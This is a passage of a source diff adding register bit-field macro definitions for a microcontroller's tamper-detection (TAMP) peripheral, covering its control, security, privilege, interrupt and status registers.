TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31U) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0U) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0U) +#define TAMP_ATOR_PRNG_Msk (0xFFUL << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14U) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15U) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8U) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11U) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14U) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17U) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20U) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23U) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26U) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29U) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0U) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15U) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16U) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30U) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31U) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15U) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29U) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30U) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31U) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0U) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1U) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2U) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3U) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4U) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5U) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6U) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7U) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16U) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17U) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18U) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP4IE_Pos (19U) +#define TAMP_IER_ITAMP4IE_Msk (0x1UL << TAMP_IER_ITAMP4IE_Pos) /*!< 0x00080000 */ +#define TAMP_IER_ITAMP4IE TAMP_IER_ITAMP4IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20U) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21U) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22U) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23U) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24U) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26U) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27U) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28U) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk +#define TAMP_IER_ITAMP15IE_Pos (30U) +#define TAMP_IER_ITAMP15IE_Msk (0x1UL << TAMP_IER_ITAMP15IE_Pos) /*!< 0x40000000 */ +#define TAMP_IER_ITAMP15IE TAMP_IER_ITAMP15IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0U) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1U) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2U) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3U) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4U) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5U) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6U) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7U) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16U) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17U) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18U) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP4F_Pos (19U) +#define TAMP_SR_ITAMP4F_Msk (0x1UL << TAMP_SR_ITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SR_ITAMP4F TAMP_SR_ITAMP4F_Msk +#define TAMP_SR_ITAMP5F_Pos (20U) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21U) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22U) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23U) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24U) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26U) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27U) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28U) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk +#define TAMP_SR_ITAMP15F_Pos (30U) +#define TAMP_SR_ITAMP15F_Msk (0x1UL << TAMP_SR_ITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SR_ITAMP15F TAMP_SR_ITAMP15F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0U) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1U) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2U) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3U) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4U) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5U) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6U) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7U) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16U) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17U) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18U) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP4MF_Pos (19U) +#define TAMP_MISR_ITAMP4MF_Msk (0x1UL << TAMP_MISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_MISR_ITAMP4MF TAMP_MISR_ITAMP4MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20U) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21U) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22U) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23U) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24U) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26U) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27U) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28U) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk +#define TAMP_MISR_ITAMP15MF_Pos (30U) +#define TAMP_MISR_ITAMP15MF_Msk (0x1UL << TAMP_MISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_MISR_ITAMP15MF TAMP_MISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0U) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1U) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF 